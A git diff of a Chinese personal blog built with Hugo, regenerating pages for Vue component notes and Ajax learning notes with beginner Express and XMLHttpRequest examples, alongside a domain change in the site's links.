+</code></pre><p>这里只是举个例子，如果是多层组件结构，这个方法也是可以发送和接收到的，只需要provide发送一下数据，然后子组件inject接收一下</p><p>&ndash;</p><p>Vue.extend()，vue基础构造器，会创建一个子类，参数是包含组件的对象，例如：</p><pre><code>&lt;div id='app'&gt;
+&lt;/div&gt;
+&lt;script&gt;
+    const Test = Vue.extend({
+        template: '&lt;p&gt;{{a}} {{b}} {{c}}&lt;/p&gt;',
+        data: function () {
+            return {
+                a: 'hallo',
+                b: 'abc',
+                c: 'xyz'
+            }
+        }
+    })
+    new Test().$mount('#app')
+&lt;script&gt;
+</code></pre><hr><p>受控组件和非受控组件</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/54/><span class=title>« Prev</span><br><span>Ajax学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/52/><span class=title>Next »</span><br><span>正则表达式学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/54/index.html b/posts/54/index.html
index 33d1b7a4..1c892a10 100644
--- a/posts/54/index.html
+++ b/posts/54/index.html
@@ -2,7 +2,7 @@
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&#34;express&#34;);
// 导入path
const patg = require(&#34;path&#34;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&#34;public&#34;)));
app.get(&#34;/hallo&#34;,(req, res) = >{
res.send(&#34;hallo&#34;);
});
// 监听端口
app.listen(3000);
console.log(&#34;服务器启动成功&#34;)
nodemon app.js
+// 导入express const express = require(&#34;express&#34;); // 导入path const patg = require(&#34;path&#34;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&#34;public&#34;))); app.get(&#34;/hallo&#34;,(req, res) = >{ res.send(&#34;hallo&#34;); }); // 监听端口 app.listen(3000); console.log(&#34;服务器启动成功&#34;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -12,15 +12,15 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&#34;/hallo&#34;,(req, res) = >{
res.send({&#34;name&#34; : &#34;root&#34;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/54/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Ajax学习笔记"><meta property="og:description" content="ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
+app.get(&#34;/hallo&#34;,(req, res) = >{ res.send({&#34;name&#34; : &#34;root&#34;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/54/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Ajax学习笔记"><meta property="og:description" content="ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&#34;express&#34;);
// 导入path
const patg = require(&#34;path&#34;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&#34;public&#34;)));
app.get(&#34;/hallo&#34;,(req, res) = >{
res.send(&#34;hallo&#34;);
});
// 监听端口
app.listen(3000);
console.log(&#34;服务器启动成功&#34;)
nodemon app.js
+// 导入express const express = require(&#34;express&#34;); // 导入path const patg = require(&#34;path&#34;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&#34;public&#34;))); app.get(&#34;/hallo&#34;,(req, res) = >{ res.send(&#34;hallo&#34;); }); // 监听端口 app.listen(3000); console.log(&#34;服务器启动成功&#34;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -30,14 +30,14 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&#34;/hallo&#34;,(req, res) = >{
res.send({&#34;name&#34; : &#34;root&#34;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/54/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-03T15:30:00+00:00"><meta property="article:modified_time" content="2021-07-03T15:30:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Ajax学习笔记"><meta name=twitter:description content="ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
+app.get(&#34;/hallo&#34;,(req, res) = >{ res.send({&#34;name&#34; : &#34;root&#34;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/54/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-03T15:30:00+00:00"><meta property="article:modified_time" content="2021-07-03T15:30:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Ajax学习笔记"><meta name=twitter:description content="ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&#34;express&#34;);
// 导入path
const patg = require(&#34;path&#34;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&#34;public&#34;)));
app.get(&#34;/hallo&#34;,(req, res) = >{
res.send(&#34;hallo&#34;);
});
// 监听端口
app.listen(3000);
console.log(&#34;服务器启动成功&#34;)
nodemon app.js
+// 导入express const express = require(&#34;express&#34;); // 导入path const patg = require(&#34;path&#34;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&#34;public&#34;))); app.get(&#34;/hallo&#34;,(req, res) = >{ res.send(&#34;hallo&#34;); }); // 监听端口 app.listen(3000); console.log(&#34;服务器启动成功&#34;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -47,35 +47,35 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&#34;/hallo&#34;,(req, res) = >{
res.send({&#34;name&#34; : &#34;root&#34;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Ajax学习笔记","item":"https://xiaochenabc123.github.io/posts/54/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Ajax学习笔记","name":"Ajax学习笔记","description":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express\rconst express = require(\u0026quot;express\u0026quot;);\r// 导入path\rconst patg = require(\u0026quot;path\u0026quot;);\r// 创建web服务器\rconst app = express();\r// 静态资源访问服务\rapp.use(express.static(path.join(__dirname,\u0026quot;public\u0026quot;)));\rapp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{\rres.send(\u0026quot;hallo\u0026quot;);\r});\r// 监听端口\rapp.listen(3000);\rconsole.log(\u0026quot;服务器启动成功\u0026quot;)\rnodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;)\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){\rconsole.log(hallo.responseText)\r}\r服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{\rres.send({\u0026quot;name\u0026quot; : \u0026quot;root\u0026quot;});\r});\rjson字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText);\rconsole.","keywords":["JavaScript"],"articleBody":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express\rconst express = require(\"express\");\r// 导入path\rconst patg = require(\"path\");\r// 创建web服务器\rconst app = express();\r// 静态资源访问服务\rapp.use(express.static(path.join(__dirname,\"public\")));\rapp.get(\"/hallo\",(req, res) = \u003e{\rres.send(\"hallo\");\r});\r// 监听端口\rapp.listen(3000);\rconsole.log(\"服务器启动成功\")\rnodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(“GET”,“https://httpbin.org/get\")\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){\rconsole.log(hallo.responseText)\r}\r服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\"/hallo\",(req, res) = \u003e{\rres.send({\"name\" : \"root\"});\r});\rjson字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText);\rconsole.log(responseText)\rvar str = \"\"+ responseText.name +\"\";\rdocument.body.innerHTML = str;\r请求参数传递\nget请求\nhallo.open(“get”,“https://httpbin.org/get?name=hallo\u0026pass=123\")\nvar hallo = “name=\"+ names + “\u0026pass=” + pass\n表单的数据获取\nhallo.value\npost请求参数\npost请求参数是保存到请求头中的报文，不像get是通过链接参数传输的\nhallo.setRequestHeader(“Content-Type”,“application/x-www-forn-urlencoded”)\nhallo.send(“name=root\u0026pass=123”)\npost请求必须设置请求参数格式的类型\npost请求需要body-parser模块\nconst bodyParser = require(“body-parser”)\njson\nContent-Type属性：application/json\n{name: “root”,“pass”: “123”}\n将json对象转换为json字符串\nJSON.stringify()\najax错误处理\n获取http状态码\nhallo.status()\n","wordCount":"114","inLanguage":"en","datePublished":"2021-07-03T15:30:00Z","dateModified":"2021-07-03T15:30:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/54/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Ajax学习笔记</h1><div class=post-meta><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Ajax%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据</p><p>关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html</p><p>ajax需要网站环境下生效，需要web服务器，nodemon</p><p>app.js</p><pre><code>// 导入express
-const express = require(&quot;express&quot;);
-// 导入path
-const patg = require(&quot;path&quot;);
-// 创建web服务器
-const app = express();
-// 静态资源访问服务
-app.use(express.static(path.join(__dirname,&quot;public&quot;)));
-app.get(&quot;/hallo&quot;,(req, res) = &gt;{
-    res.send(&quot;hallo&quot;);
-});
-// 监听端口
-app.listen(3000);
-console.log(&quot;服务器启动成功&quot;)
-</code></pre><p>nodemon app.js</p><p>ajax运行原理</p><p>ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果</p><p>创建ajax对象</p><p>var hallo = new XMLHttpRequest();</p><p>请求方式和请求地址</p><p>hallo.open(&ldquo;GET&rdquo;,&ldquo;<a href=https://httpbin.org/get%22>https://httpbin.org/get"</a>)</p><p>发送请求</p><p>hallo.send();</p><p>获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据</p><pre><code>hallo.onload = function(){
-    console.log(hallo.responseText)
-}
-</code></pre><p>服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中</p><p>在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：</p><pre><code>app.get(&quot;/hallo&quot;,(req, res) = &gt;{
-    res.send({&quot;name&quot; : &quot;root&quot;});
-});
-</code></pre><p>json字符串转换为json对象</p><pre><code>var responseText = JSON.parse(hallo.responseText);
-console.log(responseText)
-var str = &quot;&lt;div&gt;&quot;+ responseText.name +&quot;&lt;/div&gt;&quot;;
-document.body.innerHTML = str;
-</code></pre><p>请求参数传递</p><p>get请求</p><p>hallo.open(&ldquo;get&rdquo;,&ldquo;<a href="https://httpbin.org/get?name=hallo&amp;pass=123%22">https://httpbin.org/get?name=hallo&amp;pass=123"</a>)</p><p>var hallo = &ldquo;name="+ names + &ldquo;&amp;pass=&rdquo; + pass</p><p>表单的数据获取</p><p>hallo.value</p><p>post请求参数</p><p>post请求参数是保存到请求头中的报文，不像get是通过链接参数传输的</p><p>hallo.setRequestHeader(&ldquo;Content-Type&rdquo;,&ldquo;application/x-www-forn-urlencoded&rdquo;)</p><p>hallo.send(&ldquo;name=root&amp;pass=123&rdquo;)</p><p>post请求必须设置请求参数格式的类型</p><p>post请求需要body-parser模块</p><p>const bodyParser = require(&ldquo;body-parser&rdquo;)</p><p>json</p><p>Content-Type属性：application/json</p><p>{name: &ldquo;root&rdquo;,&ldquo;pass&rdquo;: &ldquo;123&rdquo;}</p><p>将json对象转换为json字符串</p><p>JSON.stringify()</p><p>ajax错误处理</p><p>获取http状态码</p><p>hallo.status()</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/55/><span class=title>« Prev</span><br><span>React学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/53/><span class=title>Next »</span><br><span>深入学习vue组件</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+app.get(&#34;/hallo&#34;,(req, res) = >{ res.send({&#34;name&#34; : &#34;root&#34;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Ajax学习笔记","item":"https://chenjunlinabc.github.io/posts/54/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Ajax学习笔记","name":"Ajax学习笔记","description":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express const express = require(\u0026quot;express\u0026quot;); // 导入path const patg = require(\u0026quot;path\u0026quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,\u0026quot;public\u0026quot;))); app.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{ res.send(\u0026quot;hallo\u0026quot;); }); // 监听端口 app.listen(3000); console.log(\u0026quot;服务器启动成功\u0026quot;) nodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;)\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{ res.send({\u0026quot;name\u0026quot; : \u0026quot;root\u0026quot;}); }); json字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText); console.","keywords":["JavaScript"],"articleBody":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express const express = require(\"express\"); // 导入path const patg = require(\"path\"); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,\"public\"))); app.get(\"/hallo\",(req, res) = \u003e{ res.send(\"hallo\"); }); // 监听端口 app.listen(3000); console.log(\"服务器启动成功\") nodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(“GET”,“https://httpbin.org/get\")\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\"/hallo\",(req, res) = \u003e{ res.send({\"name\" : \"root\"}); }); json字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText); console.log(responseText) var str = \"\"+ responseText.name +\"\"; document.body.innerHTML = str; 请求参数传递\nget请求\nhallo.open(“get”,“https://httpbin.org/get?name=hallo\u0026pass=123\")\nvar hallo = “name=\"+ names + “\u0026pass=” + 